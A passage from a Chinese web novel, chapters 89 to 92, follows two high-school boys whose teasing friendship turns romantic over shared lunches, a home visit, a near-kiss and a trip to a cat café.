危险的气息压迫,他猛地朝后退一步,“咣当”一声,撞在身后的栏杆上。栏杆是空心的,经过回荡的声响巨大,凌蒲飞快地钻出来,拔腿就跑。 缓了很久很久,时璟承方才的神情都映在凌蒲脑海里,靠近,靠近,不断靠近。 劫后余生的心脏在狂跳,他颤颤巍巍摸出手机,给程益添发消息。 【好像真被你说中了,你好强】 【他有可能想泡我】 【!!!】 【男女通吃】 【玩弄感情】 【狠狠甩掉】 【怎么办】 第89章 凌蒲在以前学校的时候就觉得程益添比他有智慧。 程益添未卜先知,在那一秒钟里,他真觉得时璟承看向他嘴唇的眼神直白露骨,很像偶像剧里内种场景。 如同被一只小虫伸出触须,轻轻戳了一下,只有他知道。 凌蒲仔细思考,根据程益添的话联想从前。时璟承从开始就让他调班做同桌,请他吃蛋糕和奶茶,送他回家,带他去玩赛车,而且还—— 总用很帅的眼神看着他。 真是当局者迷,细思恐极。现在凌蒲也摸清了时璟承的报复方式。这可该怎么办,对方将会玩弄他的感情然后再甩掉。 一节课坐得端正如松,下课便把书包一抱,拔腿朝外跑。 出了校门便找到安静的地方打开手机,想要得到程益添的精囊妙计。 果然一拿出来,就是程益添的消息。 【?】 【你都识破他的计谋了,不被他泡不就行了】 凌蒲豁然开朗。 接着程益添又发来消息、 【他怎么你了?!】 凌蒲回复:【倒也没怎么我,能怎么我啊?】 【不是没有霸王硬上弓的可能/沉思】 【?】 【既然他之前的感情生活就有点混乱,估计是看你长得好看,见色起意。你知道这些男女通吃的富家公子没真感情,对每个人都是玩玩,但玩的前提得有点好感,你想办法把好感度先清零】 【哦。那他会不会重新带人打我】 【有道理,那把好感度维持在较低水平。现在敌在明,你在暗,他终于露出了马脚,此为大胜,拖到毕业就行了。】 凌蒲觉得程益添也有道理,仿佛被打了一剂强心针。 第二天一早,凌蒲照常上学。 拿出所需书本,坐下,目不斜视。 一眼就瞥见昨天借时璟承的练习册还没还回去,立刻继续一身正气地朝旁边推了推,直至越过桌缝中央,遣返回去, 书沿戳到了时璟承,他拧眉,望着凌蒲。 一顿。 凌蒲换了个发型。从前是蓬松的刘海垂在额前,今天把中间的一撮用吹风机吹了上去,应该还用了点什么打理固定,发型比较美式。 眉目完完全全露出来,吸引了不少回头率。 时璟承盯着凌蒲的眼睛,完整的眼型更好看,让人挪不开。 凌蒲对他这个表情比较满意,之前时璟承说过他把刘海压下来会更好看点,果然梳上去之后对方会愣住。 仿佛看到空气中的好感度在蹭蹭下降,-1-1,他装作若无其事地笑笑:”新发型好看吗?” 时璟承低头做别的事。 凌蒲丝毫不觉得无趣,几次朝时璟承面前凑,展示新发型,直到时璟承忍无可忍,伸手把他推开。 “今天抽什么风?” “呵呵。”凌蒲学他语气冷笑,伸出食指和大拇指,对他比了个手枪的动作,微抬枪口。 白皙圆润的指尖杵在前面,时璟承随手把枪转回去;“学的不像。” 指头被时璟承抓到,凌蒲一愣,赶在体温传递前迅速收回。 凌蒲拿出书本,认真上课,暗示时璟承:“我不是随便的人,你不要白费工夫。” “?” 凌蒲不再多言,低头认真投入学习。 兢兢业业学习一上午,等到课间,忽然有人敲了敲窗子。 靠窗坐的是时璟承,他推开一条缝,抬头。 外面站着个神情挺紧张的女生,指了指旁边的凌蒲,示意时璟承帮忙叫一下。 时璟承拍了一下凌蒲,凌蒲不理会。 他正营造专注于学习的人设,不会随时理会时璟承。 时璟承拧眉:“凌蒲,有人请你吃鸡腿。” 现在已然是上午最后一节课,大家都饥肠辘辘,这句话对凌蒲具有一定诱惑力,他立刻转过头。 看到外面的人,惊喜道:“颜衫?” 立刻起身从后门出去。 时璟承扶住他差点倒下的凳子,皱起眉头。 “凌蒲,好久没看见你了。今天好帅。”苏颜杉笑道。 “是吗?我还以为这样会不好看一点。” “刘海放下来的时候比较可爱,把眉毛和眼睛露全了就变得挺帅气。早知道当时跳蚤市场应该给你吹这个发型。” “那次也就是刚来,现在可不一定答应那么尴尬的事情了。” 凌蒲和苏颜杉之前关系就不错,在一段时间没见之后,似乎更加熟稔。 “你不知道你今天讨论度很高,差点就要有个凌蒲粉丝后援会群聊了。”苏颜杉笑道,从袖子里拿出封信,递到凌蒲手里,“有人给你的。” “什么?” “情书呗,拆开看看。” “那我不要。”凌蒲把信推回去。 “都不问是谁吗?” 凌蒲摇头:“现在是高三,还是学习吧。” “猜到了。”苏颜杉收回去,“我早说了你不会收,非要让我给一下。” 她踮起脚,朝凌蒲身后看了看:“你现在和时璟承坐同桌啊?” 凌蒲忽然有点心虚,他没有完成苏颜杉之前交代的任务,于是欲盖弥彰;“其实也刚坐同桌不久,还没怎么熟。” “哦?我好像在群里看过好几次照片里都有你。” “是吗?”凌蒲莫名紧张。 “不是,诈你的。你是不是好久没看群了。” 凌蒲觉得自己有点过河拆桥:“我以后会看的。” “都在你旁边了,哪里还用看群?不过你当初到底为什么加群?” “当初和他有点过节,我想躲着来着。”凌蒲实话实说。 苏颜杉笑了,没想到会是这个原因;“那看来这个群给了你不少帮助,记得有空回馈点福利。” 预备铃已然打响,两人还在聊,忽然时璟承的身影出现在后门,正午的阳光倾泻在他身上,镀了层完美的淡金色轮廓。眼神倒是很冷淡,瞥了走廊一眼,关上门。 苏颜杉激动,拍拍凌蒲:“你看这个身材比例,看这个脸,谁看了没有学习动力?简直就是精神食粮。” 凌蒲点头,又摇头。 “金玉其外,人不能只看外表。” “他有什么不好的吗?” 凌蒲停顿两秒:“倒也没有。” 除了私生活有点存疑,时璟承人品还挺不错的。 直到快打上课铃,两人匆匆告别。 凌蒲打开后门潜入,随口道:“时璟承,我还没进来怎么就关门了。” “冷。” “你还会冷?”凌蒲伸手摸摸他校服外套,“下次里面多穿点吧。” “比不上你活力无限,天天这么热火。” “又阴阳怪气了有点。” 老师已经走进教室,两人不再说话,开始上课。 凌蒲写着写着题,忽然就想到方才苏颜杉的话,确实拖了很久,该为群里做点贡献。 但要是被时璟承发现偷拍,肯定会凉凉的。 说不定还会拿起法律的武器保护名誉权,他就只能铁窗泪了。钱芷和凌逸飞得到监狱去给他送饭,有点惨。 怎么能有两全之策呢。 想着想着不由走神,直到被一个飞来粉笔头砸中,惊慌抬头。 “凌蒲,放学留一下。”老师简短地通知,继续上课。 期待一上午的干饭时间,就这么在最后一刻中道崩殂。 放学后,凌蒲接受了将近八分钟的批评,在饥肠辘辘中沉痛反思,才回到座位上。 垂头丧气。 时璟承从后门进来,就看到趴在桌上的一个发顶,翘起那一撮依然坚挺,看出来用定型的时候下了很大的决心。 “不吃饭?”时璟承戳他。 凌蒲对美食有自己的坚守。也不是什么都吃:“不吃。好吃的已经被打完了,这个难吃的食堂也就那么一两样能勉强入口,三分钟必没。” “哦。” 时璟承坐下。凌蒲听到了打开盖子的声音,接着,一阵浓郁美味的香味飘进他的鼻子。 是和食堂完全不同的,鲜活的美食香气。 他默默侧过一点头。 看到时璟承面前有一个饭盒,正是香味来源。 “这是什么?”忍不住开口询问。 “饭盒。” “哦。这样。” 凌蒲又看了一会儿,才问:“里面有饭吗?” “有。” 香味顺着饭盒的缝隙直朝凌蒲鼻子里钻,闻起来不仅有饭,还有肉,可能还有虾。 “你哪来的呀。” “管家送的。” “哦。” 凌蒲不说话了,安静一阵,几分钟之后问;“怎么不吃。” “等下拿到食堂吃。回来拿个东西。” “好吧。” 凌蒲转了个方向,把后脑勺朝向时璟承,但不断传来的饭香在蚕食他的意志,摧毁他坚不可摧的思想。 “时璟承,给我吃一口。” “不给。” “好吧。” “除非。”时璟承忽然说了两个字。 凌蒲的眼睛稍稍睁圆一些,闪烁着清澈的渴望。 时璟承话锋一转:“还没想好。” 眼里光芒黯淡下来。 “你真够坏的。”被戏耍的凌蒲感到有气无力的愤怒,“耍别人很好玩吗。本来被批评已经很伤心了,还没饭,你还故意诱惑我,拿什么东西拿到现在还不走,你就是故意的。” “被批评是因为你心思不在学习上。想些和学习无关的事情。”时璟承声音还是挺冷。 “我不想再和你说话了。” “虾仁吃不吃,还有糖醋排骨,菠萝咕噜肉。” 两个很有骨气的字已经在凌蒲的嗓子眼里打转,但很快就被口水淹没了。 好饿。 他不回答,朝着时璟承反方向趴,试图隔绝一切。 “去食堂给你吃。”时璟承说。 “不去。” 凌蒲用了很顽强的意志才说出这两个字。 忽然听到身后门“吱呀”开关声,赶紧直起身去看。 发现时璟承并没有出门,而是倚着门框,慢条斯理地垂眸看他,仿佛守株待兔。 第90章 凌蒲吃到了一顿前所未有的美食。 Q弹的虾仁,酸甜的排骨。没想到有朝一日能在这个食堂吃到这样好吃的食物。 “时璟承,你不仅可以开面包店,还可以开一个饭店。”凌蒲一边吃,一边不忘为时璟承指明发展道路。 “就你一个顾客是吗?” “会有很多顾客的。” 时璟承看着凌蒲鼓起来的脸颊,因为今天把头发梳上去,整张脸完全露出来,看起来更赏心悦目些。 这种事情有一就有二,他伸手捏了捏。 凌蒲筷子一顿,抬起头。 “?” “捏我干什么?” “脸上有东西。” “你当我傻吗?” “不吃收走了。” “吃,别浪费。”凌蒲拦住时璟承的手,他为五斗米折腰,先吃了再说。 终于饱腹之后,一边啃着最后一块排骨一边抬头,就对上时璟承的目光。这人不知什么时候侧过一点身看他,眼神里饶有兴味,像在观赏养的小宠物吃饭。 “看什么。”凌蒲皱眉。 “没什么。你吃饭看起来挺有意思。” 凌蒲一顿,立刻和时璟承拉开距离,表示划清界限。 但时璟承真挺有两下子,竟然从让最脆弱的美食方面攻击,让人无力抵抗。 每天中午的食谱都不一样,荤素搭配营养均衡,色香味俱全,而且凌蒲不怎么挑食,所以全是他爱吃的。 就不咸不淡提那么一句,等着凌蒲开口恳求。 前几天凌蒲还要做会儿心理建设,时璟承也吊他会儿再答应,后面就直接默认共进午餐,几乎每天放学都一起并肩朝外走,再一起用餐。 “时璟承,你真有手段。”凌蒲为自己的不争气而忧伤,但不得不承认午餐时间已经成为了每天上学的精神支柱,从第二节课就开始肖想。 “什么手段。” “泡妞的手段。”凌蒲说,“感觉很娴熟,我是女生的话肯定会上钩,可惜我不是。你的计划落空了。” “上什么钩?你今天又抽哪种风。” 时璟承知道凌蒲有个很丰富的内心世界,但没想到还会朝这种假设上思考。 他从书包里摸索一下,放了几块巧克力,一盒饼干还有一袋小包装薯片放在桌上。 精美的袋子花花绿绿,一看就是很好吃的那种。 凌蒲幽怨地看了时璟承一眼:“时璟承,你是不是故意的。扰乱我学习的心志。” 他目不斜视,坚决不上时璟承的当。 然而等到下节课上课,桌上的零食已经荡然无存,凌蒲挂在书桌侧面地小垃圾袋里变得花花绿绿。 * 周末。 “又去哪儿啊,起这么早。”钱芷穿着睡衣,外面批一个暖和的宽大披肩,看着刚刚指向九点半的钟。 要是换做之前,凌蒲早就一套振振有词的睡眠理论,所有人都不得在周末早上打扰他人睡觉。 “去同学家写作业。” “哪个同学?找到程益添的替代品了?” “什么替代不替代,都是朋友。” 凌蒲洗完头,用吹风机把头发吹起来,声音呼呼作响,把凌逸飞也吵醒,过来围观。 “又捯饬你那几撮头发。”凌逸飞说,“换发型换了一周了吧,没有老师制止你?” “这个又不明显。而且这里开放包容,染发只要不是特别夸张的颜色都不怎么管。” 凌逸飞停了停,这话让他朝好的方面想,至少凌蒲没有给他染个红红绿绿黄黄回来。 “男同学女同学?”钱芷问。 “男同学啊,怎么会去女同学家。”凌蒲诧异。 夫妻俩养了凌蒲十几年,对这个表情能看出是发自内心的诧异。 “去男同学家写个作业又洗又吹的,还是浪费宝贵睡眠时间,为什么?”他俩百思不得其解。 凌蒲敷衍:“同学比较帅,我要向他看齐。” “你自卑啊?”钱芷意外,“我可不信有比我儿子还帅的,那天把你照片给同事阿姨看,他们都说你是她们见过最好看的。” 白皮肤大眼睛个子高,钱芷认为这个儿子很好地遗传到了她和凌逸飞的优点并加以发扬光大,非常满意。 “妈你真好。”凌蒲转脸,认真问,“那你觉得我和顾乾谁帅。” “顾乾。”钱芷不假思索。 “” 卫生间的门被关上。 阳光明媚灿烂,凌蒲又被引诱到了时璟承的家。 原因无他,时璟承家里对凌蒲来说有吸引力的东西实在是太多,不需要抛出太多诱饵。 他把灰色的运动外套递给时璟承:“谢谢你的衣服。已经洗好了。” 时璟承接过来,柔软的布料被叠得整齐,传来淡淡的皂荚香,经常从凌蒲干干净净的校服上闻到。 “阿姨呢?不是说今天要研制新的面包。” 凌蒲来到厨房,和阿姨打招呼,成为忠实的试吃者。 “小凌来尝尝。”阿姨很喜欢他,从刚出炉的巧克力面包里拿一个给他。 凌蒲品尝,赞不绝口:“好吃,就要刚加热的巧克力,有种很特殊的烫烫的感觉。” “慢点吃,都是你的。”阿姨和他唠嗑,“平常饭菜有没有不合口味?特地按小时少爷的要求做的,应该是你喜欢吃的。” 凌蒲舌头被受热不均的巧克力烫了一下,灌了口凉水,睁大眼睛问阿姨:“什么意思?时璟承以前不也是送饭的吗?” “是的。但是现在的菜谱和以前完全不一样,不对,以前基本上没什么菜谱。” 凌蒲心情复杂,没想到时璟承为了泡他竟然下了这样的功夫。 但也很感动,甚至为时璟承最后计划不能成功而产生一点惋惜。 于是用盘子装了两个巧克力面包,上楼去找时璟承。 循着之前的路径摸索到时璟承的房间,敲敲门,走进去。 看到时璟承正坐在椅子上看书,姿态随意放松,听到动静从书里抬眸。身后偌大的落地窗采光很好,景色和人相得益彰,仿佛一幅艺术作品。 凌蒲恍了恍神,立刻说:“给你吃巧克力面包,有黑巧克力和抹茶巧克力的,要哪一个。” “不吃甜的。” “你尝一尝,吃不了的我帮你吃。” 凌蒲把盘子放他桌上,忽然一瞥:“这是什么,你这里怎么摆着我小时候的照片。” 他的小时候很有特征,圆圆脸蛋圆圆眼睛,神情看起来有点呆,像个小包子。 “自作多情。”时璟承只一顿,就把照片给他看,“其他人也在上面。” 除了时璟承小时候不喜欢拍照,其他参加节目的小朋友都在,这是一张成深野,凌蒲,还有小月亮的合照。 “哦。我还以为你特地放我的呢,故意让我看到。”凌蒲用贫瘠的偶像剧知识乱想。 “想太多。”时璟承嗤道。 凌蒲没有在意,认真端详这张对他来说很久远的照片,隐约有一些记忆涌入:“小月亮好漂亮,现在肯定更好看了。” “哦。” “既然你和特儿还有联系,那和小月亮有没有联系了?” “你要干什么?”时璟承问。 “就问问啊,你怎么总这么警惕。” “防你。” “为什么?” 时璟承看着他:“从你小时候的前科来看,你很容易见色起意。” “你有点不友好,又用小时候的事情把我钉在耻辱柱上。”凌蒲在他旁边找个小板凳坐下,“那时候也只是看到觉得好看的类型会欣赏一下,又没有做什么。” “什么类型好看?” 凌蒲抬头,盯着面前时璟承的脸,挪开。 “不告诉你。”他拿起抹茶巧克力面包,“再不吃凉了,反正你吃不完,我先吃一个。” 香醇浓郁的丝滑巧克力在唇齿间扩散,带着一点茶的清苦,沉浸于美食间无法自拔。 时璟承看着一点绿色蹭在白皙的脸颊上,伸出手,用指腹擦掉,热热软软,还是让人想在弧度处捏一下。 凌蒲僵住,维持着垂眼看面包的动作,睫毛微微颤动。 他知道现在和时璟承之间的距离很近,近得一抬眸就会撞进对方的眼睛里,他开始有些紧张,心跳在加速,手心在发热,不知道接下来将要发生什么。 但什么都没发生。 时璟承的指腹在他脸颊上停留,轻轻擦了下,就像羽毛掠过,并没有离开,而是在另一边脸侧也落上了相同的触感,抵在下巴处,脸颊挤起一点,他被掌控在别人手里。 又是时璟承在玩弄他的恶作剧。 凌蒲抱怨道:“干什么,时璟承。” 忽然一僵,对方的手指无意擦过他的嘴唇,带着电似的。 呼吸声响在耳边,对方的手摸索着移到他后颈处,凌蒲感到时璟承的目光聚集在刚才过电的地方。 凌蒲抬眼,齐整的睫毛如同一把小扇,掀起春天的湖水。他望着时璟承的鼻梁和形状很好看的嘴唇,近在咫尺,心跳急剧飙升,脑子一抽,稍稍抬起头。 几乎只是动作了不到一寸,说是不小心也不为过。 但瞬间反客为主,变成时璟承方寸大乱,迅速松开手。 “干什么?” “你叶公好龙啊。”凌蒲强装镇定。 两人都心不在焉,凌蒲在努力回忆刚才到底有没有碰上一丢丢,似乎并没有,因为时璟承躲得太快了。 窗外阳光斜照,笼出一片光影。 “刚才你干什么。”时璟承看着凌蒲,眉头微拧。 凌蒲大着胆子前倾一点,撑在时璟承凳子上,装得很老练:“你不就是想泡” 忽然,房门传出“咚咚”两声,被人敲了两下;“时璟承,你看没看到我笔记本电脑?” 凌蒲被吓了一跳,手下一软没有撑住,在栽倒之前时璟承扶了一把他的腰。 “时璟承你在不在家?” 听起来是邵晚熠的声音,应该刚回来。 时璟承看着怀里的凌蒲,回答道:“没看到。” 凌蒲感到他说话时胸腔在微微震动,似乎连带着自己也在震动。 邵晚熠专心寻找他电脑:“我走之前放那个电竞房里的,上回你泡妞的时候是不是给我收了。” “你找吧。” “我暂时没空找,就路过回来一趟,继续和你哥有点事。下午不上课你帮我找出来,我要拷点资料。” 门外的脚步声逐渐消失,时璟承低头问凌蒲:“泡什么。”《 》 90-100 第91章 时璟承的怀抱比较温暖,虽然散发着淡淡的冷调香,但和冰冷的外表看起来不一样,凌蒲软软的脸颊贴在上面,十分安心。 “是邵哥吗?他好像在找电脑。” “嗯。不知道在哪。” 凌蒲犹豫,抠了抠时璟承衣服上的金属扣,小声问;“你经常带人回来吗?” “没有。” “那刚刚邵哥说你带的是哪个女生,上回是什么时候?” 时璟承垂眼看着凌蒲,没有说话。 “算了。”见他不答,凌蒲收回了问题。 毕竟他无权过问时璟承的生活,对他们来说是挺正常的一件事。 “你还不起来吗?”时璟承垂眸,看着怀里的柔软发顶。 凌蒲顿了顿,才意识到自己还趴在时璟承身前,撑着椅子起身,皱眉:“你也一直没放手。” “我要不扶着你,谁知道你又会故意做什么。” “倒打一耙。” 凌蒲和时璟承保持距离。 接下来都有点兴致不高,不再说话。 整个屋子就变得很安静。 时璟承的不高兴只有凌蒲能看出来,凌蒲不高兴的时候谁都能看出来,即使没表现在脸上,但就像太阳瞬间被乌云遮蔽那么明显。 他低头玩着泡泡龙,剩下的面包也不吃了。 时璟承看了会儿书,抬手用书沿戳了戳,书角没入一点凌蒲衣物布料。 “怎么了?”凌蒲抬起头。 “你该连续签到510多天了,没给我看?” “好吧。”凌蒲暂停泡泡龙游戏,打开另一个游戏的仓库,展示给时璟承看。 经过十多天的签到,武器库和装备库又多了不少东西。 时璟承靠近低头,凌蒲被完全笼罩在他身形之下,对方的呼吸声近在耳畔。 这是时璟承的房间,到处都是时璟承的东西,只有凌蒲一个外来物。 他偏过一点角度,偷偷抬头,发现并没有想象中离得近,从这个视角能看清时璟承的领口,没有学校校服那么一丝不苟,稍微乱了一丢丢。 眼眸垂着,睫毛洒下淡淡的阴影,侧脸线条清晰明朗,薄唇轻抿。 凌蒲想起刚才的近在咫尺,他为那一下的解释是全出于好奇,时璟承长得很帅,近看的时候很迷人,瞬间的慌神是人之常情。 作为一个十六七岁的青少年,好奇很正常。但这确实是他第一次产生这样的想法,开始冒出念头:接吻应该是什么体验。 可能是这里环境使然,阳光和氛围正好,而且面对的是时璟承。 目光垂落,凌蒲不由抿了下嘴唇。 一时之间心猿意马。 “这是什么。”时璟承指着其中一个图标。 “嗯。” “凌蒲。” “哦,这是霰弹枪,可以扫射很远。”凌蒲说,“我展示给你看看。” 他随便开了把游戏,切换成这个武器,准备随便找个区域打一梭。 操纵十分娴熟,跑跳加隐蔽,行云流水一气呵成。 “看起来很酷。” 时璟承一同看着屏幕,在凌蒲耳朵边说话。 凌蒲屏住呼吸,手下一顿,就听“砰”一声,对面来了几个敌人向他射击。 慌忙一阵亡羊补牢地操作,在时璟承的目光下从枪误切换成刀,空中挥两下,脑门中枪,屏幕暗下来。红色的“被击杀”字样,跳出,随着音效戛然而止,只剩下了淡淡的安静。 “你五百多天干什么去了?”时璟承重新坐回去。 “失误很正常。” 凌蒲辩解,抬手按了按耳朵。 “我很厉害的,之前很多同学都是我的手下败将,比如程” “不许。”时璟承打断。 “” 凌蒲话被噎住,望望时璟承,忽然想到程益添在他们学校也是很受女生欢迎的类型,如果时璟承饥不择食男女通吃见色起意,那选择的标准是什么,会不会也可以玩弄程益添。 “诶。”他用胳膊碰了碰时璟承,“你觉得程益添帅吗?” “没注意。” “我觉得他挺帅的,皮肤是小麦色的,五官很立体。” “是个人五官都是立体的,不立体还能平面?” “当时好多女生追他呢。” “你也追了?” 凌蒲低头抠抠桌角:“时璟承,你为什么不追他呀。” “凌蒲,你正常吗?” 时璟承伸出手,缓缓放在凌蒲脑门上,凌蒲睁着大眼睛望他。 这只手存在感颇高,在额头上停留片刻之后,收回,不经意间擦过发梢。 “出门吧。说好去附近猫咖玩。” 凌蒲觉得再屏住呼吸下去,可能要窒息,现在已经有点缺氧性头晕。 * 树梢蜷缩的秋叶变成灰白,清脆一声响,便随风悠悠飘落。 最近和时璟承一起出门次数多,向来迟钝的凌蒲也能很清晰地感受到时令的变化。 比如天气在变冷,由秋末逐渐向冬过度。 体现在时璟承加高的羊绒毛衣领口和变长的外套。 凌蒲靠着一腔热火乱莽,早上按照钱芷提供给他的温度来随便朝身上加件数,冷了就跑跑,好养活。 现在寒风凛冽,他朝时璟承贴一贴。 并肩走了会儿,凌蒲搓搓手,搭讪:“时璟承,你的衣服看起来很暖和。” “嗯。是暖和。” 凌蒲盯着那个口袋,被外套柔软材质包裹,贴着里面的羊绒毛衣,不敢想象从冷空气里放进去会有多快乐。 “可以吗?”他眼神炙热。 “” 时璟承没有说话,算是默许。 于是凌蒲伸手,揣进时璟承的口袋,温暖从手传遍全身,和想象中一样。 “你真好。时璟承。” 在舒适惬意中,他发自内心地感慨。 忽然又说:“还有个不情之请。” “什么?” “我能不能拍一张你的照片,然后再放到一个群里。” “悬赏暗杀群?” 凌蒲听着时璟承一本正经的语气,开始还没反应过来,一会儿之后笑起来:“你竟然还会开玩笑。就是我有一些朋友,她们觉得你很帅,想要看你的照片。” 时璟承冷笑;“你朋友类型真挺全面的。” “她们没有恶意的。”凌蒲说,“像追星一样,你没有追过星吗?哦,你应该没有,我妈妈就追,她喜欢你哥。” “” “就是粉丝之一,谁都有自己喜欢的明星。” “你也有?” “我以前受她影响,也喜欢你哥。” “。” “你怎么不问现在。” “现在呢?” 凌蒲小声告诉他:“我觉得你比你哥帅。你出道的话我就喜欢你。” “非要出道吗?”时璟承说。 凌蒲愣了一下,心跳开始加速。 按电视剧里会接一句“不出道也喜欢”,但那太暧昧了。 “顾乾也问过我。但我对这个没有兴趣。” 时璟承专注地和凌蒲谈理想,凌蒲的心思已经不知道飘到何处。 他觉得时璟承真的很会。 这种甜言蜜语,花言巧语,都信手拈来,让人没有抵挡之力。 察觉到凌蒲的安静,时璟承瞥一眼,道:“你的耳朵为什么这么红,很冷吗?” 凌蒲捂了捂耳朵,心不在焉:“有点热。” “你可以拍。”在沉默中,时璟承让步,“不要拍正脸。” 这是个好消息,凌蒲心中的石头终于可以落地:“谢谢。” 立刻落后两步,假装偶遇视角,对着时璟承的背影和侧影一顿乱拍,和街头摄影师似的。 看着手机里的拍摄成品,终于知道选择一个好的模特有多么重要。 他挑选一张较为满意的,准备发到群里交差。 点开又是99+的消息,稍微一扫,吃惊地发现似乎在谈论八卦,不由认真浏览。 【姐妹们,国际部Egbert风评怎么样?昨晚聚会上说对我有好感,但听说他有点花,要不要继续】 【Egbert?有点小帅的那个混血?】 【我知道他,女朋友换得挺频繁,但每段关系好像都处理得不错,没有闹得不愉快的,也是有本事】 【那我觉得可以,又不吃亏】 【现在时代变了,不知道谁泡谁呢】 【记得不能陷进去,保持清醒及时止损】 【+1+1,保护好自己】 凌蒲看着讨论,受到小小冲击。 他也不是个保守的人,及时行乐,但都用在游戏,美食和睡觉上,没想到还能这么延伸。 等群里好容易安静下来,他发送了时璟承的照片。 使用的是未署名小号,跟了句【偶遇】。 底下重新掀起99+,看到苏颜杉在群里发了个大拇指,凌蒲有种完成任务的感觉。 私聊了一下告知,接着便退出群聊。 时璟承看着他这一连串操作,嗤道:“你真讲义气。” “好了,我们快进去吧,再迟点猫都被别人喂饱,就不热情了。” 两人走进店,老板很熟稔地和凌蒲打招呼:“小凌,又来玩?” “李大哥,今天带我同学一起来。” 他们熟悉地交谈,时璟承稍微打量了一下屋内。 分成两个区域,一半是猫咖,一半是狗咖,中间用栅栏围了一圈,摆放了吧台,可以喝饮品和吃小食。 虽然面积不算太大,但是打理得很干净,没有什么难闻的气味,也没有猫狗毛发,光线明亮。 “给你介绍我的小奇。它是一只起司猫,长得和动画片里一模一样,特别漂亮。” 凌蒲给自己套上围裙和鞋套,又递给时璟承一份。 “快快,我听到它的叫声了。” 凌蒲飞快地替时璟承把围裙带子扣好,拿起消毒喷雾,在他手上喷了喷,又给自己喷两下,搓一搓。 老板替他们打开门,一只胖乎乎的小猫跑在最前面,如同炮弹一般撞在凌蒲腿上。 凌蒲被撞得一个踉跄,好在时璟承在他身后,稍稍支撑了下,便立刻把这只小猫咪抱起来。 他脸蛋贴上去,蹭在柔软的毛发上。 小猫脑袋圆圆的,发腮发得很好,毛发蓬松,正睁着圆圆的眼睛,好奇打量着时璟承。 和凌蒲有点像。 “你看,可爱吧?” 凌蒲很骄傲地展示,也看着时璟承。 时璟承的目光在二者之间移了下,点头:“嗯。” 第92章 凌蒲坐在凳子上,把手里大部分零食都给了这只猫,捏捏爪子,摸两把雪白的毛发。 猫咪发出满足的呼噜声。 抬头对上时璟承看自己的眼神,室内灯光为他冷硬轮廓镀上层柔光,造成种温柔的错觉,只一瞬,换了个角度就没有了。 心脏怦怦跳。 “你要摸摸吗,它性格很好的。”凌蒲举起手里的小猫。 然后,他感到时璟承的手落在他发顶,象征性地摸了一下。 整个人一僵。 时璟承一直在看凌蒲的发顶,偏浅的发色柔软茂密,定型产品也并没让发质变硬,看起来依然会很好摸。 占了句子没有宾语的便宜,他为这个举动找了顺理成章的理由。 和想象中的一样。 “猫被你喂得这么胖。”时璟承收回手,语气平淡地讨论。 无辜躺枪的工具小猫哼唧一声,不满地扭动肥肥的身体。 凌蒲这才重新呼吸,深吸一口气,让自己看起来理智冷静且睿智:“时璟承,你真有手段。” 他觉得要是自己事先不知道时璟承的计划,对方说不定会成功。 即使从开始就明确他的目标,洞悉他的计划,心跳和思绪有时还是会脱离控制。 时璟承微微拧起眉头,最近凌蒲总说一些他听不懂的话。 对话没再继续,凌蒲安静地撸着猫,直到恋恋不舍地放下。 小奇用胖胖的爪子抱住他的腿,人和猫一片惜别之情。 “为什么不带回去养?”时璟承问,他看到外面的牌子写支持赎身。 “我妈妈养了十几年的猫在我小时候去世了,她说以后再也不养猫。带回去又唤起她的伤心事。”凌蒲告诉他,起身,“去隔壁小狗区看看吧。” 小狗区也很丰富多彩,有各种毛色和体型的小狗,一听到动静都热情似火地跑过来。 时璟承下了个“坐”的指令,竟然几乎都乖乖听话坐下,只有一只没听明白,闷头乱撞。 凌蒲发现相较于猫,时璟承似乎更喜欢小狗。 两人玩了一会儿,喂完手里的零食,凌蒲打包了吧台的三明治,和时璟承一起离开。 “给午餐加一道菜,和阿姨一起分。” 说着自然地挨上时璟承,对他来说稀松平常,每次凌逸飞的公司发什么好吃的,都会带回家里来,切成三份。 时璟承在这一瞬间感到陌生。 他的生活第一次被别人安排,仿佛掌控的土壤边界在被一只小兽入侵。 回到家,还没下车,第一眼看到院子里多了辆车。 奢华的车身喷装一看就不是顾乾的风格,时璟承没有让司机开车门。 他看着窗外道:“邵晚熠又回来了。可能还有顾乾。” “哦?那切成四份。” 时璟承看着凌蒲。要是带回去邵晚熠又要乱讲,不想让凌蒲听到。 他好像从前几乎没有带过其他人回家,成深野都寥寥无几,去了也没进过他的房间,更别说替他开口借邵晚熠的东西。 虽然成深野更爱打游戏。 在停顿中,凌蒲意会了他的意思:“我很拿不出手吗?” “邵晚熠中午有事,不会在家吃饭。等一等他就走了。” “你自己等吧,我要回家了。” 他转身准备开车门,回头,把手里袋子丢给他:“三明治也你吃吧,不吃了。” 开了两下,没有打开上锁的门。 “让我出去。”他转头看着时璟承,态度坚决。 “那不等,带你去别的地方。” 时璟承给司机重新报了个地方,司机似乎并不陌生,重新出发。 凌蒲看着两侧陌生的道路环境,犹豫:“你要带我去哪里。我俩都这么熟了,不会还要打我吧。” “一码归一码。”时璟承吓唬他。 凌蒲不安。 车子逐渐驶入一个高档小区,停在单元门口。 “下车。” “不下。”凌蒲攥紧安全带,誓要与之共存亡。 时璟承下车,替凌蒲拉开车门,扶住等待。 凌蒲顶不住压迫感,慢吞吞地解开安全带,背上书包,走下车。 跟在时璟承后面,喋喋不休:“时璟承,你不会要绑架我吧。” 他耐心劝说:“法网恢恢,疏而不漏。正义不会缺席的。” 又忽然惊慌:“不会是打算对我做什么吧。” “闭嘴。”时璟承冷冷。 “好吧。”凌蒲不说话了,想到了那个任人宰割.jpg的表情包。 一路上了电梯,看着时璟承轻车熟路地用、指纹解锁房门,凌蒲脑海中已经闪过了无数可能发生的事情。 然而开门之后一片宁静,发现这只是一处普通的住宅,不对,不普通的豪宅。 江景大平层,南北通透,一眼看过去特别开阔,难以想象夜景会多美。而且装修很高级,冷淡里透着低调的奢华,和时璟承房间的风格有点类似。 能看出来很少住人,不过屋里干净得一尘不染,东西不多却整洁齐全,应该是有人定期上门打扫。 凌蒲仔细看了一圈,没发现可疑之处,稍稍放心,对时璟承的少爷身份见怪不怪:“这是你的房子吗?” “嗯。” 时璟承到厨房的柜子里拿了个盘子,把凌蒲带回来的三明治放进去。 凌蒲一直跟在后面,观看他的动作,笑了笑:“好高级的盘子,感觉三明治都高级起来了。” “还要吃什么,点外卖。” 时璟承把手机解锁,交给凌蒲。 凌蒲没有接,摸出自己的,倚在身后的柜子上:“我请你吃。这附近餐厅我最熟。” 他唰唰下单,一会儿功夫,桌上就摆满丰盛的菜肴。 在吃这方面,凌蒲从来不会亏欠自己。 